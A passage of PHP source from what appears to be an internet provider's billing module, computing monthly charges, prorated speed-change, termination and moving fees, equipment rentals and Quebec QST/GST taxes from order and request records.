PHP_ROUND_HALF_UP);\n\t\t\t$monthInfo[\"total_price_with_tax_p7\"]=round($totalPriceWT7,2, PHP_ROUND_HALF_UP);\n\n\t\t\t$monthInfo[\"product_price\"]=round($orderChild[\"product_price\"],2, PHP_ROUND_HALF_UP);\n\n/////////////////// end get month infor from order\n\n\n////////////////// check if there is any request before the selected date, if yes get it's info instead of order info\n $change_speed_fee=0;// check if request before one month and after 1st day, if yes set this value to 7$\n\n\t\t\t$date = new DateTime($year.\"-\".$month.\"-01 00:00:00\");\n\t\t\t$monthDays= (int) $date->format( 't' );\n\n\t\t\t//if($requestResult->num_rows===0)\n\t\t\t//{\n $requestQuery=\"SELECT * from requests where\n `action` in ('terminate','change_speed','moving','swap_modem') and\n\t\t\t\torder_id=\".$orderChild[\"order_id\"].\"\n\t\t\t\tand (year(action_on_date) <\".$year.\"\n\t\t\t\tor (year(action_on_date) =\".$year.\" and month(action_on_date) <\".$month.\" ))\n\t\t\t\tand verdict = 'approve' order by action_on_date DESC LIMIT 1\";\n\t\t\t\t$requestResult = $this->query($requestQuery);\n\n\t\t\t//}\n\t\t\t$requests=array();\n\t\t\t$hasRequest=false;\n\t\t\twhile ($request_row = $this->fetch_assoc($requestResult)) {\n\t\t\t\t$hasRequest=true;\n\t\t\t\t$requestChild = array();\n\t\t\t\t$requestChild[\"creation_date\"] = $request_row[\"creation_date\"];\n $action=\"recurring\";\n /*\n $change_speed_date=new DateTime($request_row[\"action_on_date\"]);\n\t\t\t\t$interval = new DateInterval('P1M');\n\t\t\t\t$change_speed_date->add($interval);\n\n\n if(((int)$change_speed_date->format('Y')===(int)$year)\n &&(int)$change_speed_date->format('m')===(int)$month)\n {\n $action=$action.\", change speed\";\n $change_speed_fee=7;\n }\n */\n\t\t\t\t$requestChild[\"action_on_date\"] = $request_row[\"action_on_date\"];\n\t\t\t\t$requestChild[\"verdict_date\"] = $request_row[\"verdict_date\"];\n\t\t\t\t$requestChild[\"verdict\"] = $request_row[\"verdict\"];\n\t\t\t\t$requestChild[\"product_price\"]=$request_row[\"product_price\"];\n\t\t\t\t$requestChild[\"action\"]=$request_row[\"action\"];\n\n\t\t\t\t$requestChild[\"product_title\"]=$request_row[\"product_title\"];\n\t\t\t\t$requestChild[\"product_category\"]=$request_row[\"product_category\"];\n\t\t\t\t$requestChild[\"product_subscription_type\"]=$request_row[\"product_subscription_type\"];\n\n\n\n////////////////// update month info\n\t\t\t\tif($request_row[\"action\"]===\"terminate\")\n\t\t\t\t{\n $orderChild[\"recurring_date\"]=\"0000-00-00\";\n $monthInfo[\"total_price_with_out_router\"]=0;\n\t\t\t\t\t$monthInfo[\"total_price_with_out_tax\"]=0;\n\t\t\t\t\t$monthInfo[\"total_price_with_tax\"]=0;\n\t\t\t\t\t$monthInfo[\"total_price_with_tax_p7\"]=0;\n\n\t\t\t\t\t$monthInfo[\"product_price\"]=0;\n\t\t\t\t\t$monthInfo[\"additional_service_price\"]=0;\n\t\t\t\t\t$monthInfo[\"setup_price\"]=0;\n\t\t\t\t\t$monthInfo[\"router_price\"]=0;\n $monthInfo[\"static_ip_price\"]=0;\n\t\t\t\t\t$monthInfo[\"modem_price\"]=0;\n\t\t\t\t\t$monthInfo[\"remaining_days_price\"]=0;\n\t\t\t\t\t$monthInfo[\"qst_tax\"]=0;\n\t\t\t\t\t$monthInfo[\"gst_tax\"]=0;\n\t\t\t\t\t$monthInfo[\"adapter_price\"]=0;\n\t\t\t\t\t$monthInfo[\"total_price\"]=0;\n\t\t\t\t\t$monthInfo[\"product_title\"]=$request_row[\"product_title\"];\n\t\t\t\t\t$monthInfo[\"days\"]=$monthDays;\n\t\t\t\t\t$monthInfo[\"action\"]=\"terminated\";\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\t$totalPriceWoT=(float)$request_row[\"product_price\"]+$change_speed_fee;\n\n if($orderChild[\"router\"]==='rent' || $orderChild[\"router\"]==='rent_hap_lite')\n {\n $action=$action.\", Router rent\";\n $monthInfo[\"router_price\"]=(float)$orderChild[\"router_price\"];\n }\n else {\n $monthInfo[\"router_price\"]=0;\n }\n if($orderChild[\"static_ip\"]==='yes')\n {\n $action=$action.\", Static IP\";\n $monthInfo[\"static_ip_price\"]=(float)$orderChild[\"static_ip_price\"];\n }\n else {\n $monthInfo[\"static_ip_price\"]=0;\n }\n if($orderChild[\"additional_service\"]==='yes')\n {\n $action=$action.\", Additional service\";\n $monthInfo[\"additional_service_price\"]=(float)$orderChild[\"additional_service_price\"];\n }\n else {\n $monthInfo[\"additional_service_price\"]=0;\n }\n $subtotal=$totalPriceWoT+(float)$monthInfo[\"router_price\"]+(float)$monthInfo[\"additional_service_price\"]+(float)$monthInfo[\"static_ip_price\"];\n\t\t\t\t\t$qst_tax=$totalPriceWoT*0.09975;\n\t\t\t\t\t$gst_tax=$totalPriceWoT*0.05;\n\n\t\t\t\t\t$totalPriceWT=$subtotal+$qst_tax+$gst_tax;\n\t\t\t\t\t$totalPriceWT7=$totalPriceWT;\n $monthInfo[\"change_speed_fee\"]=$change_speed_fee;\n $monthInfo[\"total_price_with_out_router\"]=round((float)$request_row[\"product_price\"],2, PHP_ROUND_HALF_UP);\n\t\t\t\t\t$monthInfo[\"total_price_with_out_tax\"]=round($subtotal,2, PHP_ROUND_HALF_UP);\n\t\t\t\t\t$monthInfo[\"total_price_with_tax\"]=round($totalPriceWT,2, PHP_ROUND_HALF_UP);\n\t\t\t\t\t$monthInfo[\"total_price_with_tax_p7\"]=round($totalPriceWT7,2, PHP_ROUND_HALF_UP);\n\n\n\t\t\t\t\t$monthInfo[\"product_price\"]=(float)$request_row[\"product_price\"];\n\t\t\t\t\t//$monthInfo[\"additional_service_price\"]=0;\n\t\t\t\t\t$monthInfo[\"setup_price\"]=0;\n\n\t\t\t\t\tif($monthInfo[\"router\"]!==\"rent\" && $monthInfo[\"router\"]!==\"rent_hap_lite\")\n\t\t\t\t\t\t$monthInfo[\"router_price\"]=0;\n\t\t\t\t\tif($monthInfo[\"modem\"]!==\"rent\" )\n\t\t\t\t\t\t$monthInfo[\"modem_price\"]=0;\n if($monthInfo[\"static_ip\"]!==\"yes\" )\n\t\t\t\t\t\t$monthInfo[\"static_ip_price\"]=0;\n\t\t\t\t\t$monthInfo[\"remaining_days_price\"]=0;\n\t\t\t\t\t$monthInfo[\"qst_tax\"]=round($qst_tax,2, PHP_ROUND_HALF_UP);\n\t\t\t\t\t$monthInfo[\"gst_tax\"]=round($gst_tax,2, PHP_ROUND_HALF_UP);\n\t\t\t\t\t$monthInfo[\"adapter_price\"]=0;\n\t\t\t\t\t$monthInfo[\"product_title\"]=$request_row[\"product_title\"];\n\t\t\t\t\t$monthInfo[\"days\"]=$monthDays;\n $monthInfo[\"action\"]=$action;\n\t\t\t\t}\n////////////////// end update month info\n\t\t\t\tarray_push($requests,$requestChild);\n\t\t\t}\n\n\n///////////////// check if there is request in the same month as the requested date\n\n\t\t\t$requestResult = $this->query(\"SELECT * from requests where\n `action` in ('terminate','change_speed','moving','swap_modem') and\n\t\t\torder_id=\".$order_row[\"order_id\"].\"\n\t\t\tand (year(action_on_date) =\".$year.\" and month(action_on_date) =\".$month.\" )\n\t\t\tand verdict = 'approve' order by action_on_date\");\n\t\t\twhile ($request_row = $this->fetch_assoc($requestResult)) {\n\t\t\t\t$requestChild = array();\n\t\t\t\t$requestChild[\"creation_date\"] = $request_row[\"creation_date\"];\n\n\n\n\t\t\t\t$requestChild[\"action_on_date\"] = $request_row[\"action_on_date\"];\n\t\t\t\t$requestChild[\"verdict_date\"] = $request_row[\"verdict_date\"];\n\t\t\t\t$requestChild[\"verdict\"] = $request_row[\"verdict\"];\n\t\t\t\t$requestChild[\"product_price\"]=$request_row[\"product_price\"];\n\t\t\t\t$requestChild[\"action\"]=$request_row[\"action\"];\n\n\t\t\t\t$requestChild[\"product_title\"]=$request_row[\"product_title\"];\n\t\t\t\t$requestChild[\"product_category\"]=$request_row[\"product_category\"];\n\t\t\t\t$requestChild[\"product_subscription_type\"]=$request_row[\"product_subscription_type\"];\n\n\n\n////////////////// update month info\n\t\t\t\t$this_action_on_date = new DateTime($request_row[\"action_on_date\"]);\n\t\t\t\t$recurring_date = new DateTime($orderChild[\"recurring_date\"]);\n\t/////////////////////////// check if this request is made after the 1st day in month or made before the first recurring_date\n\n//// this condition take care of the folloing scenarios :\n////// 1- request made \tis made after the 1st day in month and has previous request\n////// 2- request might happened in any day of the month but it happened before the first recurring_date\n////// so in both scenario we have to calculate and split the price in to two periods\n////// assuming only one request or order in month, and assuming if order made after the 1st day then the remaining days price in already count and product price is for full month\n\t\t\t\t/*if($request_row[\"action\"]===\"terminate\")\n\t\t\t\t{\n\n\t\t\t\t\t$monthInfo[\"total_price_with_out_tax\"]=0;\n\t\t\t\t\t$monthInfo[\"total_price_with_tax\"]=0;\n\t\t\t\t\t$monthInfo[\"total_price_with_tax_p7\"]=0;\n\n\t\t\t\t\t$monthInfo[\"product_price\"]=0;\n\t\t\t\t\t$monthInfo[\"additional_service_price\"]=0;\n\t\t\t\t\t$monthInfo[\"setup_price\"]=0;\n\t\t\t\t\t$monthInfo[\"router_price\"]=0;\n\t\t\t\t\t$monthInfo[\"modem_price\"]=0;\n\t\t\t\t\t$monthInfo[\"remaining_days_price\"]=0;\n\t\t\t\t\t$monthInfo[\"qst_tax\"]=0;\n\t\t\t\t\t$monthInfo[\"gst_tax\"]=0;\n\t\t\t\t\t$monthInfo[\"adapter_price\"]=0;\n\t\t\t\t\t$monthInfo[\"total_price\"]=0;\n\t\t\t\t\t$monthInfo[\"product_title\"]=$request_row[\"product_title\"];\n\t\t\t\t\t$monthInfo[\"days\"]=$monthDays;\n\t\t\t\t\t$monthInfo[\"action\"]=\"terminated\";\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{*/\n $start_month_between_start_and_recurring = new DateTime($start_active_date->format('Y').\"-\".$start_active_date->format('m').\"-01 00:00:00\");\n $interval = new DateInterval('P1M');\n $start_month_between_start_and_recurring->add($interval);\n\n $start_day_of_post_month = new DateTime($postDate->format('Y').\"-\".$postDate->format('m').\"-01 00:00:00\");\n/*\nprint_r($requests);\necho \"size of requests\".sizeof($requests).\"</br>\";\necho \"hasRequest: \".((sizeof($requests)>0)?\"true\":\"fals\").\"</br>\";\necho \"start_active_date: \".$start_active_date->format('Y-m-d').\"</br>\";\necho \"start_day_of_post_month: \".$start_day_of_post_month->format('Y-m-d').\"</br>\";\necho \"start_month_between_start_and_recurring: \".$start_month_between_start_and_recurring->format('Y-m-d').\"</br>\";\n*/\n\n\t\t\t\tif( ( (int)$this_action_on_date->format('d')>1 && sizeof($requests)>0)\n\t\t\t\t\t||\n\t\t\t\t\t((int)$this_action_on_date->format('d')>1 &&(\n\t\t\t\t\t\t(int)$recurring_date->format('Y') < (int)$year\n\t\t\t\t\t\t||\n\t\t\t\t\t\t((int)$recurring_date->format('Y') === (int)$year && (int)$recurring_date->format('m') <= (int)$month)\n )\n\t\t\t\t\t)\n ||/// check if post month greater than start_active_date month and before recurring_date month so show zeros\n ((int)$start_active_date->format('d')>1 //and there is remaining_days\n && (// and posted date between start active date and recurring Date\n $start_day_of_post_month->getTimestamp() > $start_active_date->getTimestamp() &&\n $start_day_of_post_month->getTimestamp() <= $start_month_between_start_and_recurring->getTimestamp())\n )\n\t\t\t\t)\n\n\t\t\t\t{/*\n / if there is request in the middle of the month\n then we have to split our price calculation as follow:\n 1- calculate the paid prices for product and it's tax.\n 2- calculate the days used for the current product.\n 3- calculate prices for product and tax for the used days.\n 4- caculate the days for the remining days that will be used using the new speed.\n 5- calculate prices for product and tax for the remaining days.\n 6- calculate the difference in product prices.\n 7- calualte the difference in tax prices.\n */\n //echo \"hi\";\n $actionTax=7;//change speed fee\n\t\t\t\t\t$this_request_days=$monthDays-(int)$this_action_on_date->format('d')+1;\n\t\t\t\t\t$previous_days=$monthDays-$this_request_days;\n $this_product_price= (((float)$request_row[\"product_price\"])/$monthDays)*$this_request_days;\n if($request_row[\"action\"]===\"terminate\")\n {\n $actionTax=82;//termination fee\n //echo $this_action_on_date->format('Y-m-d').\"<\".$start_active_date->format('Y-m-d').\"</br>\";\n if($this_action_on_date<$start_active_date)\n $actionTax=0;//termination fee\n $this_product_price= 0;\n $orderChild[\"recurring_date\"]=\"0000-00-00\";\n $previous_product_price= (((float)$monthInfo[\"product_price\"])/$monthDays)*$previous_days;\n\n $paid_qst_tax=abs((float)$monthInfo[\"product_price\"])*0.09975;\n $paid_gst_tax=abs((float)$monthInfo[\"product_price\"])*0.05;\n $paid_Tax=$paid_qst_tax+$paid_gst_tax;\n\n $previous_qst_tax=abs($previous_product_price)*0.09975;\n $previous_gst_tax=abs($previous_product_price)*0.05;\n $previous_Tax=$previous_qst_tax+$previous_gst_tax;\n\n\n\n\n \t\t\t\t\t$priceDifference=(float)$monthInfo[\"product_price\"]-($this_product_price+$previous_product_price);//-(float)$monthInfo[\"product_price\"];\n $total_paid=($this_product_price+$previous_product_price);\n //$priceDifference=((float)$monthInfo[\"product_price\"]-$previous_product_price)+((float)$request_row[\"product_price\"]-$this_product_price);//-(float)$monthInfo[\"product_price\"];\n $monthInfo[\"product_price_difference\"]=$priceDifference;\n \t\t\t\t\t$monthInfo[\"product_price_previous\"]=$monthInfo[\"product_price\"];\n $monthInfo[\"product_price_current\"]=0;\n //$totalPriceWoT=(float)$monthInfo[\"product_price\"]+$priceDifference;\n\n \t\t\t\t\t$monthInfo[\"product_price\"]=0;\n \t\t\t\t\t//$monthInfo[\"product_price_2\"]=0;\n\n \t\t\t\t\t$monthInfo[\"days\"]=$previous_days;\n \t\t\t\t\t$monthInfo[\"days_2\"]=$this_request_days;\n\n //echo $monthInfo[\"product_price\"].\"-\".$priceDifference;\n ///commission base amount: product + remaining days\n \t\t\t\t\t$totalPriceWoT=$total_paid;\n $request_row[\"action\"]=\"terminated\";\n // subtotal : commission+all addition prices+fees\n if($monthInfo[\"router\"]!==\"rent\" && $monthInfo[\"router\"]!==\"rent_hap_lite\" )\n {\n \t\t\t\t\t\t$monthInfo[\"router_price\"]=0;\n\n }\n else {\n $monthInfo[\"router_price\"]= (((float)$orderChild[\"router_price\"])/$monthDays)*$previous_days;\n $request_row[\"action\"]=\"terminated, Router Rent\";\n }\n\n if($orderChild[\"additional_service\"]==='yes')\n {\n $monthInfo[\"additional_service_price\"]=(((float)$orderChild[\"additional_service_price\"])/$monthDays)*$previous_days;\n $request_row[\"action\"]=$request_row[\"action\"].\", Additional service\";\n }\n else {\n $monthInfo[\"additional_service_price\"]=0;\n }\n if($orderChild[\"static_ip\"]==='yes')\n {\n $monthInfo[\"static_ip_price\"]=(((float)$orderChild[\"static_ip_price\"])/$monthDays)*$previous_days;\n $request_row[\"action\"]=$request_row[\"action\"].\", Static IP\";\n }\n else {\n $monthInfo[\"static_ip_price\"]=0;\n }\n\n $action=$request_row[\"action\"];\n $subtotal=$totalPriceWoT+$actionTax+(float)$monthInfo[\"router_price\"]+(float)$monthInfo[\"additional_service_price\"]+(float)$monthInfo[\"static_ip_price\"];\n\n $total_qst_tax=abs((float)$subtotal)*0.09975;\n $total_gst_tax=abs((float)$subtotal)*0.05;\n $total_tax=$total_qst_tax +$total_gst_tax;\n\n \t\t\t\t\t$totalPriceWT=$subtotal+$total_tax;\n \t\t\t\t\t$totalPriceWT7=$totalPriceWT;\n\n $monthInfo[\"change_speed_fee\"]=$actionTax;\n\n $monthInfo[\"total_price_with_out_router\"]=round($totalPriceWoT,2, PHP_ROUND_HALF_UP);\n \t\t\t\t\t$monthInfo[\"total_price_with_out_tax\"]=round($subtotal,2, PHP_ROUND_HALF_UP);\n \t\t\t\t\t$monthInfo[\"total_price_with_tax\"]=round($totalPriceWT,2, PHP_ROUND_HALF_UP);\n \t\t\t\t\t$monthInfo[\"total_price_with_tax_p7\"]=round($totalPriceWT7,2, PHP_ROUND_HALF_UP);\n\n\n \t\t\t\t\t$monthInfo[\"product_title_2\"]=\"\";\n\n \t\t\t\t\t//$monthInfo[\"additional_service_price\"]=0;\n \t\t\t\t\t$monthInfo[\"setup_price\"]=0;\n\n\n \t\t\t\t\tif($monthInfo[\"modem\"]!==\"rent\" )\n \t\t\t\t\t\t$monthInfo[\"modem_price\"]=0;\n \t\t\t\t\t$monthInfo[\"remaining_days_price\"]=0;\n \t\t\t\t\t$monthInfo[\"qst_tax\"]=round($previous_qst_tax,2, PHP_ROUND_HALF_UP);\n \t\t\t\t\t$monthInfo[\"gst_tax\"]=round($previous_gst_tax,2, PHP_ROUND_HALF_UP);\n $monthInfo[\"qst_tax_2\"]=round($total_qst_tax,2, PHP_ROUND_HALF_UP);\n $monthInfo[\"gst_tax_2\"]=round($total_gst_tax,2, PHP_ROUND_HALF_UP);\n \t\t\t\t\t$monthInfo[\"adapter_price\"]=0;\n }\n else if($request_row[\"action\"]===\"moving\"){\n $actionTax=82;\n $this_product_price=(float)$request_row[\"product_price\"];\n if($monthInfo[\"router\"]!==\"rent\" && $monthInfo[\"router\"]!==\"rent_hap_lite\" )\n \t\t\t\t\t\t$monthInfo[\"router_price\"]=0;\n if($monthInfo[\"static_ip\"]!==\"yes\")\n \t\t\t\t\t\t$monthInfo[\"static_ip_price\"]=0;\n $monthInfo[\"product_price\"]=(float)$request_row[\"product_price\"];\n\n $action=\"recurring, \".$request_row[\"action\"];\n if((int)$monthInfo[\"router_price\"]>0)\n {\n $action=$action.\", Router rent\";\n }\n\n if($orderChild[\"additional_service\"]==='yes')\n {\n $monthInfo[\"additional_service_price\"]=(((float)$orderChild[\"additional_service_price\"])/$monthDays)*$previous_days;\n $action=$action.\", additional Service\";\n }\n else {\n $monthInfo[\"additional_service_price\"]=0;\n }\n\n if($orderChild[\"static_ip\"]==='yes')\n {\n $monthInfo[\"static_ip_price\"]=(((float)$orderChild[\"static_ip_price\"])/$monthDays)*$previous_days;\n $action=$action.\", Static IP\";\n }\n else {\n $monthInfo[\"static_ip_price\"]=0;\n }\n\n \t\t\t\t\t$totalPriceWoT=$this_product_price;\n\n\n $subtotal=$totalPriceWoT+$actionTax+(float)$monthInfo[\"router_price\"]+(float)$monthInfo[\"additional_service_price\"]+(float)$monthInfo[\"static_ip_price\"];\n\n $qst_tax=$subtotal*0.09975;\n \t\t\t\t\t$gst_tax=$subtotal*0.05;\n\n \t\t\t\t\t$totalPriceWT=$subtotal+$qst_tax+$gst_tax;\n \t\t\t\t\t$totalPriceWT7=$totalPriceWT;\n\n $monthInfo[\"change_speed_fee\"]=$actionTax;\n\n $monthInfo[\"total_price_with_out_router\"]=round($totalPriceWoT,2, PHP_ROUND_HALF_UP);\n \t\t\t\t\t$monthInfo[\"total_price_with_out_tax\"]=round($subtotal,2, PHP_ROUND_HALF_UP);\n \t\t\t\t\t$monthInfo[\"total_price_with_tax\"]=round($totalPriceWT,2, PHP_ROUND_HALF_UP);\n \t\t\t\t\t$monthInfo[\"total_price_with_tax_p7\"]=round($totalPriceWT7,2, PHP_ROUND_HALF_UP);\n\n\n\n \t\t\t\t\t$monthInfo[\"product_title\"]=$request_row[\"product_title\"];\n \t\t\t\t\t$monthInfo[\"days\"]=$monthDays;\n\n \t\t\t\t\t$monthInfo[\"product_title_2\"]=$request_row[\"product_title\"];\n\n \t\t\t\t\t//$monthInfo[\"additional_service_price\"]=0;\n \t\t\t\t\t$monthInfo[\"setup_price\"]=0;\n\n\n\n \t\t\t\t\tif($monthInfo[\"modem\"]!==\"rent\" )\n \t\t\t\t\t\t$monthInfo[\"modem_price\"]=0;\n\n \t\t\t\t\t$monthInfo[\"remaining_days_price\"]=0;\n \t\t\t\t\t$monthInfo[\"qst_tax\"]=round($qst_tax,2, PHP_ROUND_HALF_UP);\n \t\t\t\t\t$monthInfo[\"gst_tax\"]=round($gst_tax,2, PHP_ROUND_HALF_UP);\n \t\t\t\t\t$monthInfo[\"adapter_price\"]=0;\n }\n else{///////// if change speed\n\n \t\t\t\t\t$previous_product_price= (((float)$monthInfo[\"product_price\"])/$monthDays)*$previous_days;\n\n $paid_qst_tax=abs((float)$monthInfo[\"product_price\"])*0.09975;\n $paid_gst_tax=abs((float)$monthInfo[\"product_price\"])*0.05;\n $paid_Tax=$paid_qst_tax+$paid_gst_tax;\n\n $previous_qst_tax=abs($previous_product_price)*0.09975;\n $previous_gst_tax=abs($previous_product_price)*0.05;\n $previous_Tax=$previous_qst_tax+$previous_gst_tax;\n\n\n\n\n \t\t\t\t\t$priceDifference=(float)$monthInfo[\"product_price\"]-($this_product_price+$previous_product_price);//-(float)$monthInfo[\"product_price\"];\n $total_paid=($this_product_price+$previous_product_price);\n //$priceDifference=((float)$monthInfo[\"product_price\"]-$previous_product_price)+((float)$request_row[\"product_price\"]-$this_product_price);//-(float)$monthInfo[\"product_price\"];\n $monthInfo[\"product_price_difference\"]=$priceDifference;\n \t\t\t\t\t$monthInfo[\"product_price_previous\"]=$monthInfo[\"product_price\"];\n $monthInfo[\"product_price_current\"]=(float)$request_row[\"product_price\"];\n //$totalPriceWoT=(float)$monthInfo[\"product_price\"]+$priceDifference;\n\n \t\t\t\t\t$monthInfo[\"product_price\"]=round($previous_product_price,2, PHP_ROUND_HALF_UP);\n \t\t\t\t\t$monthInfo[\"product_price_2\"]=round($this_product_price,2, PHP_ROUND_HALF_UP);\n\n \t\t\t\t\t$monthInfo[\"days\"]=$previous_days;\n \t\t\t\t\t$monthInfo[\"days_2\"]=$this_request_days;\n\n //echo $monthInfo[\"product_price\"].\"-\".$priceDifference;\n ///commission base amount: product + remaining days\n \t\t\t\t\t$totalPriceWoT=$total_paid;\n // subtotal : commission+all addition prices+fees\n if($monthInfo[\"router\"]!==\"rent\" && $monthInfo[\"router\"]!==\"rent_hap_lite\" )\n {\n \t\t\t\t\t\t$monthInfo[\"router_price\"]=0;\n\n }\n else {\n $request_row[\"action\"]=$request_row[\"action\"].\", Router Rent\";\n }\n if($orderChild[\"additional_service\"]==='yes')\n {\n $monthInfo[\"additional_service_price\"]=(float)$orderChild[\"additional_service_price\"];\n $request_row[\"action\"]=$request_row[\"action\"].\", Additional service\";\n }\n else {\n $monthInfo[\"additional_service_price\"]=0;\n }\n if($orderChild[\"static_ip\"]==='yes')\n {\n $monthInfo[\"static_ip_price\"]=(float)$orderChild[\"static_ip_price\"];\n $request_row[\"action\"]=$request_row[\"action\"].\", Static IP\";\n }\n else {\n $monthInfo[\"static_ip_price\"]=0;\n }\n $action=$request_row[\"action\"];\n $subtotal=$totalPriceWoT+$actionTax+(float)$monthInfo[\"router_price\"]+(float)$monthInfo[\"additional_service_price\"]+(float)$monthInfo[\"static_ip_price\"];\n\n $total_qst_tax=abs((float)$subtotal)*0.09975;\n $total_gst_tax=abs((float)$subtotal)*0.05;\n $total_tax=$total_qst_tax +$total_gst_tax;\n\n \t\t\t\t\t$totalPriceWT=$subtotal+$total_tax;\n \t\t\t\t\t$totalPriceWT7=$totalPriceWT;\n\n $monthInfo[\"change_speed_fee\"]=$actionTax;\n\n $monthInfo[\"total_price_with_out_router\"]=round($totalPriceWoT,2, PHP_ROUND_HALF_UP);\n \t\t\t\t\t$monthInfo[\"total_price_with_out_tax\"]=round($subtotal,2, PHP_ROUND_HALF_UP);\n \t\t\t\t\t$monthInfo[\"total_price_with_tax\"]=round($totalPriceWT,2, PHP_ROUND_HALF_UP);\n \t\t\t\t\t$monthInfo[\"total_price_with_tax_p7\"]=round($totalPriceWT7,2, PHP_ROUND_HALF_UP);\n\n\n \t\t\t\t\t$monthInfo[\"product_title_2\"]=$request_row[\"product_title\"];\n\n \t\t\t\t\t//$monthInfo[\"additional_service_price\"]=0;\n \t\t\t\t\t$monthInfo[\"setup_price\"]=0;\n\n\n \t\t\t\t\tif($monthInfo[\"modem\"]!==\"rent\" )\n \t\t\t\t\t\t$monthInfo[\"modem_price\"]=0;\n \t\t\t\t\t$monthInfo[\"remaining_days_price\"]=0;\n \t\t\t\t\t$monthInfo[\"qst_tax\"]=round($previous_qst_tax,2, PHP_ROUND_HALF_UP);\n \t\t\t\t\t$monthInfo[\"gst_tax\"]=round($previous_gst_tax,2, PHP_ROUND_HALF_UP);\n $monthInfo[\"qst_tax_2\"]=round($total_qst_tax,2, PHP_ROUND_HALF_UP);\n $monthInfo[\"gst_tax_2\"]=round($total_gst_tax,2, PHP_ROUND_HALF_UP);\n \t\t\t\t\t$monthInfo[\"adapter_price\"]=0;\n }\n\n\t\t\t\t}\n\t\t\t\telse{\n $actionTax=$change_speed_fee+7;\n $this_product_price=(float)$request_row[\"product_price\"];\n if($monthInfo[\"router\"]!==\"rent\" && $monthInfo[\"router\"]!==\"rent_hap_lite\" )\n\t\t\t\t\t\t$monthInfo[\"router_price\"]=0;\n if($monthInfo[\"static_ip\"]!==\"yes\")\n\t\t\t\t\t\t$monthInfo[\"static_ip_price\"]=0;\n $monthInfo[\"product_price\"]=(float)$request_row[\"product_price\"];\n if($request_row[\"action\"]===\"terminate\")\n {\n $actionTax=$change_speed_fee+82;//termination fee\n if($this_action_on_date<$start_active_date)\n $actionTax=0;//termination fee\n $this_product_price= 0;\n $monthInfo[\"router_price\"]=0;\n $monthInfo[\"static_ip_price\"]=0;\n $monthInfo[\"product_price\"]=0;\n $orderChild[\"recurring_date\"]=\"0000-00-00\";\n }\n else if($request_row[\"action\"]===\"moving\")\n {\n $actionTax=82;\n }\n $action=$request_row[\"action\"];\n if((int)$monthInfo[\"router_price\"]>0)\n {\n $action=$action.\", Router rent\";\n }\n\n if($orderChild[\"static_ip\"]==='yes')\n {\n $monthInfo[\"static_ip_price\"]=(((float)$orderChild[\"static_ip_price\"])/$monthDays)*$previous_days;\n $action=$action.\", Static IP\";\n }\n else {\n $monthInfo[\"static_ip_price\"]=0;\n }\n\n if($orderChild[\"additional_service\"]==='yes')\n {\n $monthInfo[\"additional_service_price\"]=(((float)$orderChild[\"additional_service_price\"])/$monthDays)*$previous_days;\n $action=$action.\", additional Service\";\n }\n else {\n $monthInfo[\"additional_service_price\"]=0;\n }\n\t\t\t\t\t$totalPriceWoT=$this_product_price;\n\n\n $subtotal=$totalPriceWoT+$actionTax+(float)$monthInfo[\"router_price\"]+(float)$monthInfo[\"additional_service_price\"]+(float)$monthInfo[\"static_ip_price\"];\n\n $qst_tax=$subtotal*0.09975;\n\t\t\t\t\t$gst_tax=$subtotal*0.05;\n\n\t\t\t\t\t$totalPriceWT=$subtotal+$qst_tax+$gst_tax;\n\t\t\t\t\t$totalPriceWT7=$totalPriceWT;\n\n $monthInfo[\"change_speed_fee\"]=$actionTax;\n\n $monthInfo[\"total_price_with_out_router\"]=round($totalPriceWoT,2, PHP_ROUND_HALF_UP);\n\t\t\t\t\t$monthInfo[\"total_price_with_out_tax\"]=round($subtotal,2, PHP_ROUND_HALF_UP);\n\t\t\t\t\t$monthInfo[\"total_price_with_tax\"]=round($totalPriceWT,2, PHP_ROUND_HALF_UP);\n\t\t\t\t\t$monthInfo[\"total_price_with_tax_p7\"]=round($totalPriceWT7,2, PHP_ROUND_HALF_UP);\n\n\n\n\t\t\t\t\t$monthInfo[\"product_title\"]=$request_row[\"product_title\"];\n\t\t\t\t\t$monthInfo[\"days\"]=$monthDays;\n\n\t\t\t\t\t$monthInfo[\"product_title_2\"]=$request_row[\"product_title\"];\n\n\t\t\t\t\t//$monthInfo[\"additional_service_price\"]=0;\n\t\t\t\t\t$monthInfo[\"setup_price\"]=0;\n\n\n\n\t\t\t\t\tif($monthInfo[\"modem\"]!==\"rent\" )\n\t\t\t\t\t\t$monthInfo[\"modem_price\"]=0;\n\n\t\t\t\t\t$monthInfo[\"remaining_days_price\"]=0;\n\t\t\t\t\t$monthInfo[\"qst_tax\"]=round($qst_tax,2, PHP_ROUND_HALF_UP);\n\t\t\t\t\t$monthInfo[\"gst_tax\"]=round($gst_tax,2, PHP_ROUND_HALF_UP);\n\t\t\t\t\t$monthInfo[\"adapter_price\"]=0;\n\t\t\t\t}\n $monthInfo[\"action\"]=$action;\n\t\t\t\t//}\n\n\n\n////////////////// end update month info\n\n\n\t\t\t\tarray_push($requests,$requestChild);\n\t\t\t}\n\n $start_month_between_start_and_recurring = new DateTime($start_active_date->format('Y').\"-\".$start_active_date->format('m').\"-01 00:00:00\");\n $interval = new DateInterval('P1M');\n $start_month_between_start_and_recurring->add($interval);\n\n $start_day_of_post_month = new DateTime($postDate->format('Y').\"-\".$postDate->format('m').\"-01 00:00:00\");\n\n\n\n /// check if post month greater than start_active_date month and before recurring_date month so show zeros\n if(sizeof($requests)===0 // if no requests\n && (int)$start_active_date->format('d')>1 //and there is remaining_days\n && (// and posted date between start active date and recurring Date\n $start_day_of_post_month->getTimestamp() > $start_active_date->getTimestamp() &&\n $start_day_of_post_month->getTimestamp() <= $start_month_between_start_and_recurring->getTimestamp())\n )\n {\n /// then show zeros values\n $monthInfo[\"total_price_with_out_router\"]=0;\n \t\t\t\t\t$monthInfo[\"total_price_with_out_tax\"]=0;\n \t\t\t\t\t$monthInfo[\"total_price_with_tax\"]=0;\n \t\t\t\t\t$monthInfo[\"total_price_with_tax_p7\"]=0;\n\n \t\t\t\t\t$monthInfo[\"product_price\"]=0;\n \t\t\t\t\t$monthInfo[\"additional_service_price\"]=0;\n \t\t\t\t\t$monthInfo[\"setup_price\"]=0;\n \t\t\t\t\t$monthInfo[\"router_price\"]=0;\n $monthInfo[\"static_ip_price\"]=0;\n \t\t\t\t\t$monthInfo[\"modem_price\"]=0;\n \t\t\t\t\t$monthInfo[\"remaining_days_price\"]=0;\n \t\t\t\t\t$monthInfo[\"qst_tax\"]=0;\n \t\t\t\t\t$monthInfo[\"gst_tax\"]=0;\n \t\t\t\t\t$monthInfo[\"adapter_price\"]=0;\n 